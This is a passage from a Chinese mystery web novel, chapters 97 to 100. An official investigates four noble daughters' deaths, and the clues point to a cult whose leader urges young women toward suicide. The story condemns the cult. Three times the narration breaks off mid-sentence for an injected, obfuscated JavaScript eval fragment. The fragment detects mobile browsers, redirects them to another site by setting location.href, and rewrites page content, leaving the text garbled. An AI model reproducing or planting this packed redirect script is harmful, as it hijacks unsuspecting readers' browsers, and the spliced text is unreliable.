杜羽之前也派下属去调查诚安伯府两位小姐的关系,他的下属回来,所说的话跟柳依依一样。 云水谣道:“这就怪了……这两家的二小姐,都是被大小姐掐死。既然两对姐妹之间不存在什么仇恨,为何会发生这样的事?” 柳依依道:“会不会是因为她们都要去参加太子侧妃的选秀,产生了竞争关系,所以两位姐姐才要杀了妹妹?” 云水谣道:“这不合常理。首先,平时感情很好的姐妹,不可能突然起了杀心。即便起了杀心,也会下不了手。而且,两位大小姐如果真是为了选秀一事而杀人,那她们杀了妹妹之后,为何要自尽呢?她们应该跟父母坦白,说现在妹妹已经死了,自己是家里唯一的希望,请父母帮忙隐瞒妹妹被害一事,倾尽家族之力辅佐自己,这才符合常理。” 杜羽道:“还有一点,大家族教育姐妹,从来都是叫她们互帮互助的,因为她们很有可能会同时嫁入皇家或是某个权贵家。后院有自己人,结成势力,才不容易被人扳倒。如果把姐妹都害了,自己纵有天大的本事,也是孤掌难鸣。 就如先皇后和她妹妹,便是一同嫁给皇上。先皇后生下太子,她妹妹德妃生下七皇子康王。如今先皇后虽然崩逝,但后宫有德妃在,太子还是有依仗的。 这四位死者从小接受的是这样的教育,肯定知道姐妹齐心才能过得好,不太可能在选秀之前就对自己的姐妹下手。即便真要害人,应该也是姐妹俩联起手来害其他人。当然,我只是这么一说。据我了解,这四位死者都是善良的姑娘,也不会起害人的心思。” 97.问价 云水谣也赞同这个说法。她自己从小接受的也是这样的教育。母亲常对她说,要团结家中姐妹,不管姐妹们将来是嫁给同一个人,还是嫁给不同的人,都是自己的依仗,姐妹之间不可互相争风吃醋或嫉妒害人。 可以说,稍微有点远见的主母,都是这样教女儿的。只有一些任性的、嫉妒心强的主母,因痛恨小妾和庶子女,便会教唆自己的孩子跟庶出姐妹不和,肆意欺压庶出姐妹,以逞一时之快。 殊不知,这样只是为自己的孩子埋下祸根。毕竟谁也不能保证,嫡出的孩子就会永远得势,说不定将来还有求庶出姐妹关照的时候。 不过,云水谣现在的发展,已经远超母亲想象。她走的是一条青云路,已经脱离了后宅生存的窠臼,来到了更广阔的天地。 她从小跟母亲学习女德、女训的时候,也没有想到,自己现在会变成女官。 不过,自己从小所读的书,已经悄悄为未来的自己铺好了路。即便朝廷不开女科举,她不当女官,也一定会走出一条跟寻常女子不同的路。 云水谣把飘飞的思绪收了回来。眼前的案子陷入了僵局,众人都没说话。 云水谣道:“这案子如果再发现不了其他线索,就只能以自尽结案了。” 柳依依道:“可是,案件还存有许多疑点,比如两位大小姐为何要杀死妹妹,又为何要自尽?她们自尽时,为何没发出声音?如果就此结案,隐藏的一些真相就再也没法大白了。万一幕后之人还在酝酿更大的阴谋,而我们未曾及时阻止,到那时悔之晚矣。” 杜羽提议道:“现在,这四名死者是如何死的已经很明确,我们需要找的是她们死亡的动机。云大人,我们去搜查一下死者的房间,看有没有可疑之物。同时,询问两家的下人,看几位小姐死之前有没有什么奇怪之处。” 云水谣点头道:“那就还是我去曲离侯府,你去诚安伯府。” 分工完毕后,云水谣带着柳依依等人,往曲离侯杜家而去。 来到曲离侯府,云水谣说明来意,曲离侯很配合,道:“两位小女的房间一应陈设都没有动过,大人可以随便查看。至于要询问下人,我这就召集所有下人前来。” 于是,云水谣让衙役们仔细搜查杜家两位小姐的房间。 两名死者的房间很大,里面的陈设物也很多,估计要花一些时间才能搜查完毕。 过了一会,曲离侯夫人来找云水谣,道:“大人,府中所有下人都集齐了,就在前院中。” 云水谣决定先询问下人,因此她来到前院,对下人们说道:“你们家两位小姐在前段时间,是否有什么异常举动?比如,见了什么奇怪的人,或是其他。” 下人道:“回大人,她们似乎并未见什么奇怪的外人,倒是跟诚安伯府的两位小姐走得很近。” “这么说,这四位小姐生前的关系不错了?” “应该是的。” “那她们有没有因为选秀一事,起了矛盾?” “这小人们不清楚。四位小姐最近相见时,都是屏退下人,关上门交谈,我们都不知道她们聊了什么。” “连一个伺候的人也不留?包括七彩、青叶这样的大丫头?” “是的,说来也奇怪,她们四人总是神神秘秘的,也不知道在说些什么。每次聊完出来,她们四人的神色都很不好。” 这一点虽然可疑,但既然没人知道她们在聊什么,当事人又都已经死了,倒很难从这个线索入手调查。 云水谣问道:“还有什么奇怪的事吗?任何事情都可以,哪怕是一些细节。能说出来的,本官有赏。” 这时,一个丫环说道:“几天前,奴婢出府买东西,回来之后,两位小姐叫我过去,询问我豆子价格如何。我回答说,今日没买豆子,不知价格如何。前几日的价格是八十文一斤,但豆子价格每天都在涨,现在可能不止八十文了。两位小姐听了我说的话,忽然露出一种很害怕的表情。奴婢当时觉得奇怪,但也没敢多问。谁知,那天晚上,两位小姐就死了。” 云水谣十分惊讶:“你说的可是真的?” “是的,奴婢不敢欺瞒。” 这件事是在凶案当天发生的,会不会跟这桩凶案有什么联系?可是,这究竟能有什么联系? 云水谣问曲离侯:“两位小姐是不是得了一种不吃豆子就会身体变差或是死掉的病?” 曲离侯道:“并没有。” “贵府目前是否财政紧张,外面的食品一旦涨价,就买不起了?” “这怎么可能?我堂堂侯府,既有食邑,又有永业田,各种店铺资产无数,怎会缺钱缺到连食物都买不起?就在一个月前,我还拿出一万两银子为雍州城修路。” “既然如此,两位小姐为何听到豆子涨价,便如此害怕?此事既无关她们的身体,又无关贵府的财政。侯爷可能想出原因?” “我也不知道。也许是她们一直以为豆子很便宜,谁知竟会涨到几十文一斤,所以很惊讶吧。” 云水谣又问刚才那丫环:“两位小姐当时的表情,究竟是惊讶还是害怕?” 丫环道:“都有。还是害怕多一些。还有一点担忧。” “她们究竟在害怕什么呢……她们当时可有说什么?” “没有,她们问完豆子价格后,就让奴婢离开了。” 曲离侯夫人道:“我家两个姑娘一向心善,也许是她们得知豆子价格上涨,害怕百姓吃不起豆子,或是为了豆子大打出手,才会有那样的神情。” 云水谣道:“这倒也是一个解释。” 但云水谣隐隐觉得,事情不会如此简单。而且,杜虹衣、杜霓裳身为侯府千金,怎么会突然关心起食物的价格?这也不太符合情理。 就连云水谣自己,以前是昌平侯府千金时,根本不知道各种东西的价格,也并不关心,反正她要什么就有什么,钱的事不是她需要考虑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505308|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她也是做官之后,才逐步了解民生和经济。 这时,柳依依道:“大人,我有一个猜测。” 云水谣道:“你说吧。” “我想,两位小姐是不是跟人赌钱了?赌的就是豆子的价格会上涨还是下降。她们押的是下降,但没想到豆子价格上涨了,所以她们才感到害怕。也许她们赌了一大笔钱,是她们亏不起的钱。之前这些下人不是说,杜家两位小姐和孟家两位小姐生前频频见面,但又不让人在跟前伺候,不知道在说些什么吗?也许,她们便是在赌博。” 这个猜测让云水谣感到惊讶,但细想起来又合情合理。 曲离侯反驳道:“不可能,我家两个姑娘很乖巧的,绝不可能沾染赌博的恶习!” 云水谣道:“虽然她们表面上看绝不可能赌博,但也许是侯府千金的生活太枯燥了,为了遵守各种规矩,她们又太压抑了,所以才会偷偷赌博,寻找刺激。” 这个猜测看似离谱,但是却是有可能的。压抑太久的人,一定会寻找突破口,释放自己的压力。 贵族少女的规矩是最多的,这不能做,那不能做。哪怕是打马吊,那也得是婚后才能做的。如果婚前就沉迷于马吊等游戏,旁人难免会说这家的千金懒散,只知道玩乐。这样的名声传扬开去,不利于找个好的联姻对象。 对于这种不缺吃穿却沉闷不已的生活,云水谣深有体会。如果她不是从小喜欢看书、练字,用以打发时间,只怕还不知道会发展出什么奇怪的癖好。 曲离侯夫人道:“就算她们赌钱输了,为何要自尽呢?” “也许是她们输了太多钱,深感愧疚。而且赌钱的事一旦传扬开去,便是品行有失,绝不能中选。所以她们因为畏惧而自尽了。” 曲离侯夫人道:“可二姑娘明明是被大姑娘掐死,而非是自尽。” “也许,赌博一事就是二姑娘教唆大姑娘做的,大姑娘越陷越深,终于赔进去一大笔钱,才幡然悔悟,决定以死谢罪。她心里暗恨妹妹带她赌博,所以先掐死妹妹,再自尽。” 如果是这个理由的话,就可以很好地解释二姑娘为何会被大姑娘掐死,而大姑娘为何一心求死,以至于刺自己十几簪,直到刺死为止。 云水谣觉得,自己的思路似乎通顺了。而诚安伯府两位千金之死,应该也是类似的情况。 也许,她们四个女孩同时在跟什么人赌钱,且都押的是豆子价格下降。所以,在得知豆子价格涨了数十倍,才会全部自尽。 元景佑说道:“大人,如果真是这个原因,还需查一下侯府的账目和两位小姐私人的账目,看有没有少了一大笔钱。如果有的话,赌博这个猜测可能是真的。” 曲离侯也赞成,便让账房去查侯府的账目。 二小姐的私账,自有她的贴身丫环去查。 而大小姐身边的丫环说道:“大小姐的账目一向是七彩姐姐保管的,但七彩姐姐被带到衙门去了。” 98.雕像 云水谣吩咐几个衙役:“你们去衙门的厢房,把七彩和青叶两个丫头带来。青叶是诚安伯府大小姐的丫环,将她送到诚安伯府去,协助杜长史调查。七彩就带到这里。” 衙役道:“是。” 侯府的管家、二小姐的贴身丫环,各自去查账目去了。 这时,搜屋子的衙役们也搜完了,手上拿着一些雕像前来回禀:“云大人,我们仔细搜了两位小姐的屋子,发现了几尊奇怪的雕像,请大人看看。” 衙役们手上拿着四个雕像,云水谣一只手拿不过来,就先拿了两个观看。 只见这两个雕像都是木雕,雕刻的都是年轻男子,形容俊美,栩栩如生,其模样比杜羽、元景佑还要好些。若是有人长成这样,一定迷倒万千少女。雕像外面用丝绸、轻纱等材料做成衣服。 其中一个雕像身穿白衣,系着红色腰带,额头上有一个宝剑形状的红印,发簪也是银色宝剑形状。面相温文俊雅,双眼灼灼如星。左手托着一块青玉,右手背在背后,姿态优雅。而且,雕像左手上的青玉,竟是真的玉,且价值不菲。 另一个雕像身穿金色铠甲,系着黑色腰带,手拿长戟,威风凛凛,额头有火焰形的红印。 衙役手上的另外两尊雕像,也是服饰、姿态各异,各有各的独特之处。 云水谣问衙役:“这些雕像你们是从哪里找到的?” “这些雕像都藏在上了锁的箱子里,且用檀木盒子装着,看起来两位小姐生前很珍视这些雕像。两位小姐的房中各有两尊雕像。” 云水谣心想,莫非这是两位小姐情郎的雕像,所以她们才会如此珍重地保存?可是为何每人房中会有两个雕像,难道她们每人都有两个心上人? 这也不是不可能,少女在情窦初开的年纪,本就很容易爱上旁人。而世上优秀的男子这么多,她们会同时喜欢上几个也很合理。只是由于道德和风俗的约束,很少有少女会表现出同时喜欢多个男子。 但男人就不一样了,他们就算同时爱上多个女孩,也是为社会所接受的。他们只需要按照这些女孩的身份,给于她们不同的地位,旁人就不会说什么。身份高贵的,就给她正妻的位置;身份一般的,就当小妾;身份上不得台面的,就当做外室。 其实爱美之心人皆有之,女人和男人在很多方面并无不同。 只是,云水谣虽心里这么想,却不敢当着众人的面做出如此推测。这难免会有伤两位小姐的闺誉。侯府千金私藏男人雕像,还是两个,成何体统?死者虽然已死,但也会严重影响到侯府的名声。侯府还有其他孩子,他们也会难以做人。 因此,云水谣采用了婉转的问法:“两位小姐既然将这些雕像藏在房中,可见这几名男子对她们很重要,很有可能跟这起案子有关。你们可曾有人认识雕像上的几位男子?” 云水谣命衙役将雕像给侯府之人传阅观看,但是众人都说不认识。 曲离侯也说道:“这四名男子,我从未见过,我女儿就更不可能见过了。究竟她们房中为何会有男子雕像,还请云大人明察,还我女儿一个清白。说不定,是有人故意放进去,污蔑我女儿死后清誉。” 云水谣道:“侯爷放心。” 她虽如此说,但心里也是没底,不知道自己能不能查出雕像的来源。 这时,跟着云水谣而来的一个小吏看了雕像的样子,惊奇道:“怎么会是这些……” 云水谣赶紧问道:“你是不是知道些什么?” 小吏道:“这不是普通男子的雕像,而是天神的雕像。” “天神的雕像?莫非两位小姐在房中供神?可既是神像,我怎么不认识?” 大夏流传的一些神明,比如财神、文昌帝君、九天玄女、太上老君、真武大帝等,云水谣都略知一二。虽然不同的工匠雕刻时面貌会略有不同,但这些神明的衣服、装饰品都有固定的形制,比如财神手捧金元宝、文昌帝君手持书卷等等,只需看衣服便能辨认出是哪位神明。 但是,没有一个神明是如这四尊雕像这般模样的。 那小吏说道:“这不是正神,而是人造的神。大人可曾听闻天神教?” “天神教?未曾听说。” 小吏道:“这是近两年来雍州出现的一种邪.教,但传播范围不广。天神教自创了许多神明,每一个都是年轻英俊的男子形象,用以吸引女信徒。您手上这个白衣雕像,叫做青玉真君;那个金甲神像,叫做烈焰战神;衙役手上拿着的另外两个雕像,分别叫做玄梦上神和五通元君。除了这四个之外,还有其他的自创神明,一共有十余位。 据说,天神教的教主精通雕刻,这十余位自创神的模样,就是他首先雕刻出来,让教中的高层加以仿制,然后卖给女信徒。 天神教的教主还给这十余个自创神编了很多故事,无一不是荡气回肠、曲折动人,尽显这些自创神的魅力。比如,这烈焰战神的故事,就是说他是在一场天火中诞生,天生嫉恶如仇,性情火爆,铲除了许多妖魔,令妖魔闻之胆颤。有一回,妖王打造了一张大网,网住了众多天神。烈焰战神到来之后,口中吐火,将这大网烧个干净,却未曾伤到其他天神。 这些自创的故事,都是诸如此类,将这十余位天神描述得十分完美,让人心生向往。有如此俊美的雕像,再加上动人的神话,便将许多女信徒迷住了。很多女信徒疯狂地爱上了这些虚构的神明,甚至想嫁给他们。 而她们各自迷恋的神明不同,很少有喜欢全部的,所以天神教内部也纷争不断。女信徒们经常为了自己所喜欢的神明,跟其他神明的信徒掐架,她们各自都说自己所爱的天神是最完美的,因此谁也不服谁。 天神教鼓励这些妙龄少女自尽,说是只要她们活着时尽心供奉神明,又能在最美好的年纪自尽,死之前未曾嫁人,也未曾失身,保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14512096|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯洁,便能上天嫁给神明,跟他们永远在一起,享受无边的寿命和安乐。” 云水谣怒道:“岂有此理!怎会有这种教派?那女信众们是否被骗着自尽了?” 小吏道:“有一部分女信众确实自尽了,因为她们相信,只要自尽,就能见到这些神明,得到他们的爱。只是自尽的人数不多,所以并没有造成太大的影响。有的女信众虽然相信,但不太敢自尽,只是日常供奉这些伪神而已。还有的女信众年纪较大,已经成亲生子,没有嫁给天神的资格,就不必自尽了。” 云水谣道:“两位小姐的房中搜出这些神像,是否代表她们信了天神教,为了维护自己的纯洁,能够嫁给天神,所以在选秀之前自尽了?二小姐是被大小姐掐死的,也许二小姐不想死,但大小姐出于对妹妹的关爱,希望妹妹能跟自己一起嫁给天神,所以先掐死妹妹,再用金簪自尽。诚安伯府的两位小姐,应该也是相同的情况。 案发之前,她们四人频频见面,也许就是在讨论何时自尽为好,说不定她们约好了时间,一起自尽。所以两家的案子才会如此相似,又在同一时间发生。” 如果是这样,那就十分合理了。 在天神面前,人间的太子又算什么?几位小姐坚信,只要自己纯洁地死去,就能成为天神之妻。天神教真是遗祸不浅。 只是,她们都是知书达理的千金小姐,并非民间愚妇,怎么会如此轻易地被天神教蛊惑? 元景佑道:“从目前的情况看,真相很有可能是大人猜测的这样。但这也只是一种可能,不能仓促定案。” 云水谣点头。 曲离侯夫人十分激动:“怎么会有这样的邪.教?竟通过几个雕像、几句谎言,骗我两个女儿去死!云大人,请您一定要剿灭天神教,为我女儿报仇!” 云水谣安抚道:“夫人,您先别激动,两位小姐的死因,未必是天神教所为。但不管是不是他们,像这种邪、教都不应该存在,本官会尽快剿灭。只是,两位小姐是何时将这些雕像带回来的,有谁知道吗?” 侯府众人都表示不知。 曲离侯对下人发怒道:“这么大的事,你们怎会没一个人知道?侯府养你们干什么吃的?” 有个胆大的下人说道:“侯爷息怒,这些雕像这么小,两位小姐只需偷偷藏在袖中,夹带进府,又有谁能知道?难道我们还对小姐们搜身不成吗?” 曲离侯觉得这下人说的也有道理,便不再迁怒于他们了。 云水谣问侯府下人:“你们可曾见过两位小姐供奉这些伪神?” 下人们都说没见过,就连两位小姐身边的丫环们,也都没见过。 云水谣道:“这就奇了。根据天神教的说法,要嫁给天神,有两个条件,第一是活着时尽心供奉神明,第二是以处子之身自尽。如果几位小姐活着时未曾供奉这些神像,又怎么能保证自己死后能嫁给天神呢?” 99.焚树 柳依依道:“也许两位小姐是暗中祭拜,避着人,所以下人们不知道。” 云水谣道:“可是天神教要求信徒长时间供奉神明,她们背着人供奉一次两次或许可行,如何能长时间避着人供奉而不露出任何行迹呢?” “这……属下也不明白。” 这时,去查侯府账目的下人回来了,禀告道: “侯府最近没有不明的大额支出。” “二小姐的钱、首饰也没有大量失踪,一切正常。” 云水谣点头。看来,两位小姐私底下赌博的事情可能性不大。 可是,如果两位小姐没在赌博,就难以解释她们听到豆子价格上涨,露出惊恐表情之事。 莫非她们真的只是担心百姓们会吃不上豆子?可是豆子又不是主要的食物,即便长时间不吃,也完全没有关系,又不是粮食短缺。 现在,只能等七彩回来,再询问她一些事情了。 曲离侯夫人庆幸道:“账目没问题,说明女儿们没在赌博。” 曲离侯道:“这有什么值得庆幸的?她们虽然没在赌博,但信了天神教这种玩意,为了嫁给伪神,还自尽了,传出去简直是个笑话。” “云大人不是说,也不一定是天神教害的她们吗?” “从目前的各种情况来看,天神教害死她们是最有可能的,你还是想想该怎么跟亲朋好友解释吧。” 曲离侯夫人悲伤道:“两个女儿的命运怎么会如此坎坷?早知道,在她们的姻缘树被烧的时候,我就该为她们另谋出路,而不是让她们参加选秀。她们如今姻缘不谐,还为此丧命,莫非真是天意?” 曲离侯道:“你别胡说了,你明知道姻缘树不代表什么天意。” 云水谣问道:“什么是姻缘树?” 曲离侯解释道:“十多年前,雍州境内有几种树木能卖出高价,所以上山砍树的人很多,极大地破坏了自然环境,造成雍州天灾频发。官府后来就出了禁令,禁止砍伐那几种树木,但还是有许多人偷偷砍。 后来,前任雍州刺史想了个办法。他找了几个道士来,让道士说,雍州风水好,如果在雍州的空地种上树的话,可保佑自家孩子姻缘顺遂。前任刺史首先在一座山上种下了两棵树,为自己的孩子求一个好姻缘。百姓们纷纷效仿,很快,雍州城内的树就多了起来,百姓们称其为姻缘树。每棵姻缘树上都挂着相应孩子的身份牌。 姻缘树密集的地方,就称为姻缘林。姻缘林不止一个地方有,凡是姻缘树超过三十棵的地方,就被称为姻缘林了。当时,我们家也为所有的孩子种下了一棵树。 这只是跟风而已,我们心里知道,这是官府让人种树的手段,并不是说一棵树真的能保佑孩子的姻缘。 本来那些树长得好好的,谁知几个月前,我家两个女儿的姻缘树忽然起火,被烧了个干净。下人们都说不是好意头,被我制止。谁知,就连我的夫人也信这些。” 云水谣点头:“原来如此。可查明了起火原因了吗?” “好像是被雷劈中才着火的,并非人为。” “只有你家女儿的姻缘树被烧吗?还是烧了一大片?” “姻缘林里树木比较多,我女儿的树起火之后,自然波及到了附近的树。但那天刚好下雨,其他树的火苗被浇灭了,只有我两个女儿的树,还有诚安伯府两位小姐的树,不知为何一直在燃烧,直到烧光为止。” 云水谣皱眉:“你是说,四名死者的姻缘树全被烧毁?” “没错。” 曲离侯夫人喃喃自语:“天意……一定是天意……当时我听说四棵树全被烧了,就说不是个好兆头,让两个女儿别选秀,也别嫁人了,留在家中过一辈子,可侯爷非不听。结果如今果然应验……” 曲离侯道:“你别胡说了,当时前任刺史故意编造出姻缘树能保佑子女姻缘的话,是为了鼓励百姓多种树,可这件事刺史并未瞒着我们,你一早就知道,那些树只是树而已,代表不了什么……” 曲离侯夫人道:“就算一开始只是官府为了让人种树,可这树一旦种成,寄托了人心里的希望,也就自然有了灵性,能保佑人的姻缘。女儿的姻缘树被烧,就是上天在提醒我们……” “你哪来这些奇怪的想法?” 曲离侯夫人不敢说话了。 云水谣终于知道,为何侯府两位小姐会被天神教所骗了。这侯府夫人似乎也比较迷信,那她的女儿耳濡目染,很容易相信一些奇奇怪怪的观点,也就可以理解了。 为了让他们不再争吵,云水谣道:“我想,这并非是上天的启示。也许此事有人暗中捣鬼。看守姻缘林的是谁?” 曲离侯道:“姻缘林无人看守,因为大家都知道那些树代表着儿女姻缘,谁都不敢去破坏,否则不是平白得罪人吗?所以,也就没必要派人看守了,只有官府定期派人去除虫、赶走野兽。” “既然无人看守,那要做手脚就容易许多了。” 曲离侯脸色凝重,道:“大人的意思是,有人故意烧了我女儿的树?” “本官不能确定,有空时还需去现场看看。” 这件事不是很要紧,几个月前有几棵树被烧,无论如何也关联不到这次的案件上面,最多只能说这个兆头不好。 曲离侯夫人道:“难道此事是人为?可对方为什么要烧掉我女儿的姻缘树?” 云水谣道:“为了给你们一个不好的心理暗示。或者说,对方一开始烧了树,就是希望你们感到害怕,不再为女儿寻求姻缘。那么,自然也就不会送女儿去选秀了。” 曲离侯道:“所以,幕后之人的目的,其实是破坏我女儿的选秀?” 云水谣道:“这只是本官的猜测。他先烧了两位小姐的姻缘树,见你们没什么反应,仍旧送女儿去选秀,便想了别的方法,让两位小姐死在选秀之前。” “这么说,这次有女儿参加太子侧妃选秀的家族,都有嫌疑……” 曲离侯虽然嘴上这么说,但他心里最怀疑的应该是武陵侯。武陵侯同住雍州,这次只有他的女儿活着。虽然武陵侯一家都没有作案时间,但实际上,杀人未必需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528938|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要作案时间。 就比如,想办法让两位小姐信了天神教,自己主动自尽,根本不需要旁人动手。 不得不说,这个计策十分狠毒。 这时,丫环七彩被衙役带来了。 云水谣问她:“两位小姐私底下可曾参与赌博?” 七彩道:“没有。” “大小姐的账目有没有什么问题?比如,有什么不明的大额支出?” “没有。大小姐的账目一向是奴婢管的,奴婢十分清楚。” “听说侯府两位小姐和诚安伯府的两位小姐前阵子经常私下见面,你可知她们聊了什么?” “这个奴婢不知。这四位小姐聚会之时,身边不留一人。而且,之前大小姐参加聚会,带的都不是我,而是其他丫环。” 其他丫环说道:“确实如此,七彩姐姐说的是真的。” 云水谣问七彩:“她为何不带你?你是她的心腹丫环吧?” 七彩道:“奴婢也不知原因。小姐是主,她无论做什么决定,奴婢们都只有遵从的份,也不会去问原因。” 云水谣点点头。 有了七彩的供词,可以判断出,这几位小姐生前并未赌博。可她们如果不是在赌博,为何会关心豆子的价格,且听见豆子价格上涨,还很害怕呢? 这个细节,云水谣还想不明白,她暂时记在了本子上。 云水谣继续问七彩:“两位小姐生前很关心豆子的价格,你知道为什么吗?” 七彩茫然道:“啊?这个奴婢也不知道,她们从未问过我。” 云水谣把那几尊伪神像拿给七彩看,问道:“这些,你知道是什么吗?” 七彩看了看,道:“这好像是什么神像……具体叫什么名字我不记得,两位小姐有时候会偷偷供奉。” “你见过她们供奉神像?” “对,但也只见过两三次,无意间瞧见的。她们似乎不想被人发现,所以我远远看见,也只当没看见,不敢让她们知道。” 看来,两位小姐果真信奉天神教。 云水谣接着问:“这些雕像是从哪里得来的?” “奴婢曾经见到武陵侯大小姐偷偷拿了两包东西给我们家两位小姐,两位小姐接过之后,就藏在袖中。看那包裹的形状,里面像是雕像。” “武陵侯千金?你确定?” “除了她之外,奴婢没见过其他人给两位小姐带东西。” 云水谣道:“传武陵侯千金到此。” 几个衙役领命而去。 曲离侯夫人道:“果然是武陵侯千金害了我的两个女儿……大人,您一定要主持公道啊!” 云水谣道:“现在事情未明,还不能下这样的定论。” 云水谣隐隐觉得有些奇怪。虽然她只见过武陵侯千金一次,但以她的判断,武陵侯千金似乎不像是那种会信天神教的人。 衙役去传唤武陵侯千金需要一点时间,云水谣便趁此空闲时间,询问那个比较了解天神教的小吏:“葛参军,为何你对天神教如此了解?” 100.嫉妒 这姓葛的小吏道:“因为天神教闹出来的几起案件,都是我处理的。不过,这些案件都是某个女信徒在家自尽了,我过去调查,却发现她们的家人对天神教并不了解,只在女信徒的房中,发现天神教的一些东西。为了打探天神教的信息,我也花了很多功夫,但始终抓不到天神教的核心人物。 雍州事务繁多,我平时也要管很多事,没法专门追踪天神教,因此这么长时间了,还未曾剿灭。” 云水谣道:“这天神教是何人创立的?” “天神教的教主十分神秘,只听说是个女人,但打听不到姓名。她好像是个木雕匠人的女儿,继承了父亲的雕刻手艺,所以才能雕刻出那么精美的神像。” “要组建一个这样的组织,光靠木雕手艺怕是不够吧?要么背后有什么势力的支持,要么教主本身并不是个简单的人物。” 小吏道:“确实如此,只是不知道背后支持天神教的势力是谁。” 云水谣思索道:“天神教为何要鼓励信徒去自尽呢?按理说,她们能拉拢这么多信徒,下一步应该巧立名目敛财才对。光是那些伪神的神像,就能卖不少钱。而且,自古以来很多造反的领袖,一开始都是自创教派,有了大批信徒之后,才开始起事的。不论天神教是求财还是想造反,有人都是很重要的。 她们好不容易才让别人信了天神教,却转头忽悠她们自尽,无异于自折羽翼。” 小吏道:“也许,这教主并非想求财,或是心存异志想造反,而是单纯地嫉妒这些年轻漂亮的女孩,所以希望她们去死。” “哦?这话可有根据?” 小吏道:“我听说,天神教的教主年轻时,是个天生丽质、花容月貌的少女。别说一般女孩比不上她,便是富贵人家的女儿,也多半不及她。因此,她便生出了别样的心思,觉得自己虽然出身寒微,但凭借自己的外貌条件,嫁一个权贵不成问题。 她还真遇上了一个世家公子,爱上了他。可那世家公子对她并没有什么意思,甚至都不太认识她。因为那个少女只是偶然间见过那世家公子几面,根本没说上话。 她对自己有信心,便明里暗里地想吸引那世家公子的注意。可世家公子身边有很多下人,不可能让一个普通女孩接近,因此她一直没有机会跟那个公子单独相处。 后来有一次,那世家公子请手下人喝酒,下人们都喝醉了,那女孩终于有机会上前,跟那公子说话。她向公子表明了自己的心意,可那个公子很明确地拒绝了她。她不敢相信,说自己做妾也行。那公子却说,做妾也不是谁来都行的,首先自己没有纳妾的想法,其次自己也不喜欢她。她虽然长得美丽,却并未打动自己。 他还劝告那少女,说这世上美貌的姑娘多了去了,但命运各有不同。美貌不是人生的全部,容颜会随着时间而消退,靠自己的本事安身立命,才能走得长远。 后来,那少女又尝试追求了那世家公子几次,均以失败而告终。那世家公子为了躲她,还直接回了京城。本来那位公子还有一些事没办完,需要盘桓一段时日的,但也顾不得这么多了。这少女伤心之下,便自毁容貌。因为她觉得既然美貌不能吸引心爱之人,留着这张脸也没用。 毁容之后,她便隐居了,还雕刻了那位公子的雕像,日夜观看。本来她的雕刻手艺便十分优秀,又长年累月地雕刻那位公子,手艺逐渐炉火纯青。 据说,她再也没有爱上过别人,一直独居。她想过死,但又舍不得死。于是,她想了一个绝妙的主意:她可以骗别人去死,从而满足自己内心阴暗的欲望。 后来,她便创办了天神教,雕刻了十余个美貌的天神,迷倒了许多女孩。她又编了一些瞎话,说纯洁的少女死后能升天,成为天神之妻。这样,便有一些无知少女相信了,偷偷自尽。” 云水谣感叹道:“又是一个因爱生恨,最终沦为恶人的故事。只是,虽然有人自尽,但官府难道找不到活着的天神教教徒吗?抓几个活的,问清楚天神教的总坛所在、教主所在,不就能马上灭了这个邪、教?” “我们也抓到过活的教众,但她们说,每次参加集会,都是由教主的某个下属主持,且下属都是蒙着面的,教主本人从未出现。所以,她们既不知道教主的真容,也不知道教主下属的真容。我们也想过派卧底混进去参加集会,可每次我们打算派卧底时,天神教又很长时间不集会了,好像知道官府在盯着她们似的。所以直至如今,还是没什么进展。目前我们只知道,天神教除了教主之外,还有几个高层领袖,称作执事。除了执事之外,就没有别的中层领袖了。” 云水谣道:“这么说,天神教实际上的领导者并不多?” “是的,估计领导者不会超过十人。” 由此判断,天神教的规模并不大。其信徒本就不多,还不停地有人自尽,整体来看不成气候。但若不灭此教,就会不断有少女受害,遗祸不浅。 没过多久,武陵侯千金褚娇娇被带到。 她有些不悦道:“长官既然传唤,为何不带我去公堂?我凭什么在别人家接受审问?” 云水谣道:“不算审问,只是有些事想请教一下褚大小姐,还请大小姐配合。” 褚娇娇傲然道:“好吧。” 云水谣将那几尊伪神的雕像拿到她面前,问道:“褚大小姐可认识这些?” 褚娇娇犹豫了一下,道:“不认识。” “这些雕像是从两位杜小姐房中搜出来的,据说这是你给她们的。” 褚娇娇急了:“我虽给过她们雕像,可她们没收下。这几尊雕像,谁知道是从哪里来的。” 云水谣道:“你刚才还说不认识这几尊雕像?” “我……” 褚娇娇见自己说漏嘴了,便承认道:“我刚才说谎了,我确实认识这些雕像,这是天神教的雕像。我知道这不是好东西,如果我一 